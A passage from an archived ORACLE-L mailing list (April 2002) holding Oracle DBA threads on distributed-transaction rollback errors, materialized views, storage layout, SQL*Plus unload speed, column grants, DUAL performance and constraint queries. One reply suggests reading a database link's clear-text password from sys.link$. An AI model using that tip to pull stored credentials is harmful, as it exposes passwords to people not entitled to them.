subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mandar Shete INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB
ORA-02074: cannot Rollback in a distributed transaction
Hello, I have this error 'ORA-02074: cannot Rollback in a distributed transaction' in a stored procedure of PL/SQL. In a FOR LOOP, when I have an error, I make a Rollback in the EXCEPTION and I get this error. I had looed up in the Server Messages but was not helpful. I would like to add that I call this procedure from an another application.(A software tool which we use as a End-User Interface.) Regards M.Emre HANCIOGLU Masterfoods Services GmbH ISI Application Support Tel : +49 2162 500-576 Fax: +49 2162 41497 E-Mail: [EMAIL PROTECTED]
Re: Materialized View
I would start with checking what database links are vissible. Do a select * from all_db_links. A database link in the invoking schema should take precedence over a public one. Whatever link is being used, verify that you can connect to the remote database using it's connection symantics. You can pull the clear text password out of sys.link$ for this puspose. Bill --- Atul Kumar [EMAIL PROTECTED] wrote: I tried following SQL SQL create materialized view mat_dept 2 refresh fast with rowid 3 start with sysdate next sysdate+ 1/(24*60) 4 as (select * from dept@softek1); as (select * from dept@softek1) * ERROR at line 4: ORA-01435: user does not exist ORA-06512: at SYS.DBMS_SNAPSHOT_UTL, line 845 ORA-06512: at line 1 Why such error is coming and how can i create materialized view? Thanks in advance Atul -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Atul Kumar INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). __ Do You Yahoo!? Yahoo! Games - play chess, backgammon, pool and more http://games.yahoo.com/ -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Bill Pass INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Number of File systems to use.
All, Although this has been discussed many times. My boss wants other opinions on this. We EMC storage whcih uses 9 gig disks. We also use veritas volume manager. We plan to upgrade our SUN ultra e6500 to sun fire 15K machine. During to move we want to do a little reorg. This machine will have 6 partitions, 3 for the OLTP databases and 3 for the warehouse. The warehouse currently uses 20 file systems 25 GB each(3 disks raid S) for data and index. We have agreed on making the file systems to use 4 disks and stripe it with 256 KB stripe size. There are two opinions regarding the number of file systems. 1: 50 file systems of 15 GB each. In this case the 4 disks are not fully used. What is ramainig after the 15 GB can be alloted to other file systems other than the ones used by the database. Advantage IO spread over disks. 2: 20 file systems of 34 GB each. All four disks are fully used. IO over 80 disks. Question.: 1:Since we are using EMC do we need to pay so much attention to spreading IO. 2: Any problems/advantages in having too many file systems. Please give all your opinions. __ Do You Yahoo!? Yahoo! Games - play chess, backgammon, pool and more http://games.yahoo.com/ -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Johnson Poovathummoottil INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Is sqlplus too slow to unload data?
It's SQL*Plus. Love it to pieces, but it just dawdles when used as an unloader. It must spend a tremendous amount of processing just formatting or something... Never bother blaming the network or Net8 unless you are just trying to get someone off your back to delay for time. DBAs will say it must be the network to cause users to go hounding off after the network administrator or systems administrator. While they're baying at that poor person, you should have at least an hour to find out what's really going on... If you are working on UNIX, one thing you can do to speed up unloading/loading is put a UNIX pipe or FIFO between the unloader process (i.e. SQL*Plus or other) and SQL*Loader, instead of a flat file. Saves disk space but most importantly saves time -- you don't have to wait for unloading to complete before loading. In fact, loading must start with the unloading, so you can't help but save both time and space... - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Tuesday, April 23, 2002 10:53 PM Hi, Our application uses sqlplus + sqlloader to transfer data between databases. It takes nearly four hours to unload to data to flat files(1G), which is far too slow. In the application, the query looks like the following. All those 3,4,5 are for sqlldr format. select ' ' || '4' || replace( replace ( ltrim(dealerid), '4', '4' || '4' ), CHR(10), CHR(10) || '5' ) ||'4'||'3' || ... from table_name f where eventdate = to_date(1) and eventdate = to_date(2); Firstly, there is nothing wrong with the query, since if I insert into a table it only takes less than 15 minutes. Therefore, there must be problem with either sqlplus or Networking. With sqlplus, I increase arraysize from 1 to 2000. With Networking, I put tcp.nodelay=yes on protocol.ora. Both doesn't work. I try thrid party software which is writen by Pro*C to download tables to flat file. Its speed is more than 60M/minute. I monitor v$session_event while it's running.The only different is event SQL*Net message from client. In AVERAGE_WAIT and MAX_WAIT, the different is huge. sqlplus: TOTAL_WAITS TOTAL_TIMEOUTS TIME_WAITED AVERAGE_WAIT MAX_WAIT 49 0 5998 122.4 1004 Pro*C: TOTAL_WAITS TOTAL_TIMEOUTS TIME_WAITED AVERAGE_WAIT MAX_WAIT 351 0 677 1.92 42 What's the problem sqlplus or net8? BTW, dblink doesn't work since the two databases on isolated network. emp/imp is an option. However, I just try to find out what is wrong with sqlplus one. I test 8.0.5 and 8.1.7 on solaris 2.6-2.8. Thanks in advance, Bin -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Bin Wang INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Tim Gorman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Constraints
Roland have you tried a select butiks_nr, count(*) from pbk.k1 group by butiks_nr having count(*) 1 to check there really are no duplicates -Original Message- Sent: Wednesday, April 24, 2002 1:09 PM To: Multiple recipients of list ORACLE-L Hallo, I am trying to run this script, ALTER TABLE PBK.K1 ADD CONSTRAINT idx_rollson PRIMARY KEY (BUTIKS_NR) but gets the erormessage ORA-02437: cannot validate (PBK.IDX_ROLLSON) - primary key violated what can I do to solve this? Please help me. Wouldnt it be enough to have unique values in thefield butiks_nr? Thanks in advance Roland -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Nicoll, Iain (Calanais) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
good value for optimizer_index_cost_adj
Hi, Oracle 817/Solaris 8. Users are doing select joining using the PKs of 2 partitionned tables. Partitionned key and the primary key are the same. The access plan is a nested loop with a full table scan on the first table which hold 700 000 rows. The block size is 16K, I assume that's why Oracle is doing FTS. By using optimizer_index_cost_adj, I can make Oracle use the PK of the first table. I've used 50 as a value for optimizer_index_cost_adj. Is that too much ? Where can I get some metrics on that parameter ? TIA = Stéphane Paquette DBA Oracle, consultant entrepôt de données Oracle DBA, datawarehouse consultant [EMAIL PROTECTED] ___ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! Yahoo! Mail : http://fr.mail.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: =?iso-8859-1?q?paquette=20stephane?= INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: LOG_BUFFER Parameter Question
Title: LOG_BUFFER Parameter Question Are you seeing any significant times from wait-events related to redo log buffering? - Original Message - From: Denham Eva To: Multiple recipients of list ORACLE-L Sent: Tuesday, April 23, 2002 11:58 PM Subject: LOG_BUFFER Parameter Question Hello, I have been wondering about how to work out what the optimal LOG_BUFFER parameter, compared to the physical size of the REDOLOG file, for the best optimization and writes from buffer to log. Or am I barking up the wrong tree? Is there some other way of doing this. i.e. redolog file size is 10M and LOG_BUFFER is 512000. Can this be optimized better? Denham Eva Oracle DBA In UNIX Land On a quiet Night, you can hear the Windows machines reboot. This e-mail message has been scanned for Viruses and Content and cleared by MailMarshal - For more information please visit www.marshalsoftware.com
Cronjob
Anyone whom can tell me how to delete a job that is created by crontab. Thanks in advance Roland -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: column level grants
Yes , thanks. But , can i grant select on one column and update on another one using views ? I'm not aware of such a way. I also almost sure that there is no straight-forward way to do it, but are there any workarounds for this ? cheers. DBAndrey * 03-9254520 * 058-548133 * mailto:[EMAIL PROTECTED] -Original Message- Sent: Wed, April 24, 2002 3:17 PM To: LazyDBA.com Discussion Views are the Way you should Look at This will allow you to Give access to Particular Columns. HTH Best Regards, Ganesh R Tel : +971 (4) 397 3337 Ext 420 Fax : +971 (4) 397 6262 HP : +971 (50) 745 6019 Live to learn... forget... and learn again. -Original Message- Sent: Wednesday, April 24, 2002 4:56 PM To: LazyDBA.com Discussion Dear gurus ! Is there a way to give column level privileges in 8.1.7 , i.e. i have a table MYTAB (with more than 2 columns) , owned by AAA. I want to grant user BBB the following priveleges : select on AAA.MYTAB.COL1 update on AAA.MYTAB.COL2 is it possible at all in 8.1.7? thanks. Oracle documentation is here: http://tahiti.oracle.com/pls/tahiti/tahiti.homepage To unsubscribe: send a blank email to [EMAIL PROTECTED] To subscribe: send a blank email to [EMAIL PROTECTED] Visit the list archive: http://www.LAZYDBA.com/odbareadmail.pl Tell yer mates about http://www.farAwayJobs.com By using this list you agree to these terms:http://www.lazydba.com/legal.html Oracle documentation is here: http://tahiti.oracle.com/pls/tahiti/tahiti.homepage To unsubscribe: send a blank email to [EMAIL PROTECTED] To subscribe: send a blank email to [EMAIL PROTECTED] Visit the list archive: http://www.LAZYDBA.com/odbareadmail.pl Tell yer mates about http://www.farAwayJobs.com By using this list you agree to these terms:http://www.lazydba.com/legal.html -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Andrey Bronfin INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Clob indexes
I also think that since those indexes are created by Oracle, Oracle knows them. I'll trace the dbms_stats and I'll look for the 'bitand(flag,)' --- Jonathan Lewis [EMAIL PROTECTED] a écrit : It would make sense, I would expect Oracle to take a shortcut with LOB Indexes, simply hard-coding the fact that access to the LOB should always be via the LOB index. Consequently there would be no point in thinking about them You could run SQL_TRACE prior to the dbms_stats call, and see if there is a 'bitand(flag,)' line in the query that identifies indexes that excludes LOB indexes. Jonathan Lewis http://www.jlcomp.demon.co.uk Author of: Practical Oracle 8i: Building Efficient Databases Next Seminar - Australia - July/August http://www.jlcomp.demon.co.uk/seminar.html Host to The Co-Operative Oracle Users' FAQ http://www.jlcomp.demon.co.uk/faq/ind_faq.html -Original Message- To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Date: 23 April 2002 22:52 I've hit bug 1499329 As a workaround, I'm analysing the tables in the staging environment then I'm doing an exchange partition. I can analyse the tables/indexes without problem in the staging environment. My question is when creating a clob, Oracle creates a sys_...$$ indexes. When analysing the schema, those sys_...$$ indexes do not have any statistics. Is that normal ? TIA -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Jonathan Lewis INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). = Stéphane Paquette DBA Oracle, consultant entrepôt de données Oracle DBA, datawarehouse consultant [EMAIL PROTECTED] ___ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! Yahoo! Mail : http://fr.mail.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: =?iso-8859-1?q?paquette=20stephane?= INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Currval and buffer gets
All,
I think the issue of using SYS.DUAL vs. X$DUAL is much
beyond just response time. It is more related to
easing a potential bottleneck in your database, in a
production environment supporting multiple sessions.
Given that it takes 5 LIOs (upto Oracle8i) and 3 LIOs
(in Oracle9i for every access to SYS.DUAL, the issue
then boils down to the contention for the cache
buffers chains latch to access blocks in the database
buffer cache. So just because it is only 5(3) LIOs,
that does not make it OK.
If your application is using SYS.DUAL like there is
no tomorrow, the cache buffers chains latch becomes
your single point of contention. This is true, even if
you have _DB_BLOCK_HASH_BUCKETS set to a value higher
than its default.
As Cary has mentioned many times before, the problem
here is application serialization. For more on this
subject, please read Cary's papers Why a 99%+ buffer
cache hit ratio is NOT Ok on
http://www.hotsos.com/catalog and a recent paper at
IOUG-A Live 2002 which talks about some common
Misunderstandings about Oracle Internals.
Best regards,
Gaja
--- Khedr, Waleed [EMAIL PROTECTED] wrote:
Kevin and Jonathan,
Thanks for the explanation. It's weird for me that
Oracle is still
maintaining this kind of dependency between the SQL
and PL/SQL engines for
minor sql functions. Also regarding the dual and
x$dual, it does not sound
good to me that Oracle still is implementing dual as
a table segment even in
Oracle 9i.
I would give Gaja all the excuses to recommend using
something else other
than sys.dual to overcome this limitation.
But on the other hand the difference in performance
and the over all gain is
too minor to use x$dual (look at the test below).
Modifying the code and changing the design (or even
tuning one sql) would be
more promising.
Thanks everybody,
Waleed
declare
nn number;
ss1 date;
ss2 date;
begin
ss1 := sysdate;
for i in 1..10 loop
select 2 into nn from sys.x_$dual;
end loop;
ss2 := sysdate;
dbms_output.put_line('run time using view x_$dual in
centiseconds='||(ss2 -
ss1 ) * 24 * 60 * 60 * 100);
---
ss1 := sysdate;
for i in 1..10 loop
select 2 into nn from dual;
end loop;
ss2 := sysdate;
dbms_output.put_line('run time using table dual in
centiseconds='||(ss2 -
ss1 ) * 24 * 60 * 60 * 100);
end;
-Original Message-
Sent: Tuesday, April 23, 2002 6:18 PM
To: Multiple recipients of list ORACLE-L
It's a change that also made it into 8.1.7.3
(or possibly 8.1.7.2) - check in
$ORACLE_HOME/rdbms/admin/standard.sql
Jonathan Lewis
http://www.jlcomp.demon.co.uk
Author of:
Practical Oracle 8i: Building Efficient Databases
Next Seminar - Australia - July/August
http://www.jlcomp.demon.co.uk/seminar.html
Host to The Co-Operative Oracle Users' FAQ
http://www.jlcomp.demon.co.uk/faq/ind_faq.html
-Original Message-
To: Multiple recipients of list ORACLE-L
[EMAIL PROTECTED]
Date: 23 April 2002 22:05
|I did in 8i (8.1.7.3) and did not see what you
said:
|
|alter session set sql_trace = true
|
--
Please see the official ORACLE-L FAQ:
http://www.orafaq.com
--
Author: Jonathan Lewis
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX:
(858) 538-5051
San Diego, California-- Public Internet
access / Mailing Lists
To REMOVE yourself from this mailing list, send an
E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of
'ListGuru') and in
the message BODY, include a line containing: UNSUB
ORACLE-L
(or the name of mailing list you want to be removed
from). You may
also send the HELP command for other information
(like subscribing).
--
Please see the official ORACLE-L FAQ:
http://www.orafaq.com
--
Author: Khedr, Waleed
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX:
(858) 538-5051
San Diego, California-- Public Internet
access / Mailing Lists
To REMOVE yourself from this mailing list, send an
E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of
'ListGuru') and in
the message BODY, include a line containing: UNSUB
ORACLE-L
(or the name of mailing list you want to be removed
from). You may
also send the HELP command for other information
(like subscribing).
=
Gaja Krishna Vaidyanatha
Director, Storage Management Products,
Quest Software, Inc.
Co-author - Oracle Performance Tuning 101
http://www.osborne.com/database_erp/0072131454/0072131454.shtml
__
Do You Yahoo!?
Yahoo! Games - play chess, backgammon, pool and more
http://games.yahoo.com/
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Gaja Krishna Vaidyanatha
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051
San
RE: column level grants
You need to determine the list of columns that you need to grant select on. Create a view tat returns these columns. Then you can: grant select, update ( col1, col2, etc) on view to your-user. Regards, Waleed -Original Message- Sent: Wednesday, April 24, 2002 10:38 AM To: Multiple recipients of list ORACLE-L Yes , thanks. But , can i grant select on one column and update on another one using views ? I'm not aware of such a way. I also almost sure that there is no straight-forward way to do it, but are there any workarounds for this ? cheers. DBAndrey * 03-9254520 * 058-548133 * mailto:[EMAIL PROTECTED] -Original Message- Sent: Wed, April 24, 2002 3:17 PM To: LazyDBA.com Discussion Views are the Way you should Look at This will allow you to Give access to Particular Columns. HTH Best Regards, Ganesh R Tel : +971 (4) 397 3337 Ext 420 Fax : +971 (4) 397 6262 HP : +971 (50) 745 6019 Live to learn... forget... and learn again. -Original Message- Sent: Wednesday, April 24, 2002 4:56 PM To: LazyDBA.com Discussion Dear gurus ! Is there a way to give column level privileges in 8.1.7 , i.e. i have a table MYTAB (with more than 2 columns) , owned by AAA. I want to grant user BBB the following priveleges : select on AAA.MYTAB.COL1 update on AAA.MYTAB.COL2 is it possible at all in 8.1.7? thanks. Oracle documentation is here: http://tahiti.oracle.com/pls/tahiti/tahiti.homepage To unsubscribe: send a blank email to [EMAIL PROTECTED] To subscribe: send a blank email to [EMAIL PROTECTED] Visit the list archive: http://www.LAZYDBA.com/odbareadmail.pl Tell yer mates about http://www.farAwayJobs.com By using this list you agree to these terms:http://www.lazydba.com/legal.html Oracle documentation is here: http://tahiti.oracle.com/pls/tahiti/tahiti.homepage To unsubscribe: send a blank email to [EMAIL PROTECTED] To subscribe: send a blank email to [EMAIL PROTECTED] Visit the list archive: http://www.LAZYDBA.com/odbareadmail.pl Tell yer mates about http://www.farAwayJobs.com By using this list you agree to these terms:http://www.lazydba.com/legal.html -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Andrey Bronfin INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Khedr, Waleed INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Memory?
I have an idea .. PGA = UGA(user_session_data + cursor state)+stack space So Will it be enough or do I have to add sort_area_size to the value below? select * FROM v$SESSTAT a ,v$STATNAME b WHERE a.statistic#=b.statistic# and name like 'session pga memory' ; Bunyamin K. Karadeniz Oracle DBA / Developer Civilian IT Department Havelsan A.S. Eskisehir yolu 7.km Ankara Turkey Phone: +90 312 2873565 / 1217 Mobile : +90 535 3357729 The degree of normality in a database is inversely proportional to that of its DBA. - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 4:43 PM Sergey, Attachments are not going through on this list. Igor Neyman, OCP DBA [EMAIL PROTECTED] - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 2:58 AM Hello Clinton, Here is script for calculating memory requirements (shared pool requirements). Tuesday, April 23, 2002, 5:38:33 PM, you wrote: CN Hi all. CN Does anyone have any idea how to calculate the amount of memory each user CN uses during a session? CN This needs to be done to calculate the amount of memory Lawson will use CN during production. CN Any help given will be appreciated. CN Thanks CN Clint CN Confidentiality Warning CN === CN The contents of this message and any attachments are intended solely for the CN addressee's use and may be legally privileged and/or confidential. If you CN are not the addressee indicated in this message, any retention, CN distribution, copying or use of this message is strictly prohibited. If you CN received this message in error, kindly notify the sender immediately by CN reply e-mail and then destroy the message and any copies thereof. The CN content and any views expressed therein are, unless otherwise stated, the CN views of the author and not those of the company or any of its management or CN directors. CN Whilst all reasonable steps are taken to ensure the accuracy and integrity CN of information transmitted, the company does not accept responsibility for CN any corruption of the information or data or breach of confidentiality as a CN result of electronic submission. CN When addressed to the Momentum Employee Benefits clients any opinion or CN advice contained in this e-mail is subject to the terms and conditions CN expressed in any applicable terms of business. -- Best regards, Sergeymailto:[EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Igor Neyman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Bunyamin K. Karadeniz INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Why wait?
On Wed, Apr 24, 2002 at 05:33:25AM -0800, Connor McDonald wrote: Thats fine for expensive sql...but waits can be a whole lot more than that... (Trivial example) session 1: delete from blah where x = 1; session 2: delete from blah where x = 1; session 3: delete from blah where x = 1; etc The wait stats will quickly show up the problem here... hth It doesn't. What should I be seeing from the stats, if you don't mind elaborating? Sorry, just a little slow on the uptake, but very interested. === Ray Stell [EMAIL PROTECTED] (540) 231-4109 KE4TJC28^D -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Ray Stell INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Constraints Lookup
This will give all the tables whose constraints reference a given table
/*
All the tables that reference a given table in their constraints.
*/
SELECT
a1.table_name Target Table
,a1.constraint_name Target Constraint
,d1.column_name Target Column
,b1.table_name Referencing Table
,b1.constraint_name Referencing Constraint
,c1.column_name Referencing Column
FROM DBA_CONS_COLUMNS C1
, DBA_CONSTRAINTS A1
, DBA_CONSTRAINTS b1
,DBA_CONS_COLUMNS d1
where
a1.table_name=d1.table_name and
C1.Table_name=b1.table_name and
d1.constraint_name = a1.constraint_name and
C1.Constraint_Name = b1.constraint_name and
b1.constraint_name = a1.r_constraint_name and
A1.table_name =UPPER('TAB') AND a1.owner=UPPER('OWNER')
order by 3,4;
PILOTTO Diego
TECSIS To: Multiple recipients of list ORACLE-L
TCSPIL [EMAIL PROTECTED]
@SIDERAR.COMcc:
Sent by: rootSubject: RE: Constraints Lookup
04/23/2002
06:23 PM
Please
respond to
ORACLE-L
Try this
SELECT a1.constraint_name NAME,
DECODE ( a1.CONSTRAINT_TYPE, 'C', 'Check', 'P', 'Primary Key',
'R', 'Referential Integrity', 'U', 'Unique Key', 'V', 'Check Option on a
view') TYPE ,
a1.r_constraint_name RNAME, a1.status, a1.delete_rule,
c1.column_name, c1.position, R_CONSTRAINT_NAME, R_OWNER ,
a1.search_condition CONSTEXT
FROM USER_CONS_COLUMNS C1, USER_CONSTRAINTS A1
WHERE a1.CONSTRAINT_TYPE = 'R' -Only Ref. Const.
AND C1.Table_name=A1.table_name
AND C1.Constraint_Name = A1.constraint_name
AND C1.owner = A1.owner
AND A1.table_name =TAB
AND a1.owner=OWNER
ORDER BY 1,7
-Original Message-
Sent: Tuesday, April 23, 2002 5:53 PM
To: Multiple recipients of list ORACLE-L
Yes, this should be easy
I need to find all the tables that referance a given table in their
constraints. Can somebody help, it's been a long day
TIA,
John
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: John Weatherman
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists
To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the
message BODY, include a line containing: UNSUB ORACLE-L (or the name of
mailing list you want to be removed from). You may also send the HELP
command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: PILOTTO DiegoTECSIS
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists
To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from). You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Thomas Day
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists
To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from). You may
also send the HELP command for other information (like
Zope usage
List, Has anyone heard of or used a product called Zope www.zope.org to build a web interface to the database? I found the reference to it in the DBA's guide to databases on Linux from Global Knowledge and I would like to be able to access the database throught the web until we get 9iAS portals installed. Any other suggestions for free software to access the data? Thanks, Ron ROR mª¿ªm -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Ron Rogers INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Anything new from IOUG? + OWI Born!! (Anjo/Mogens,
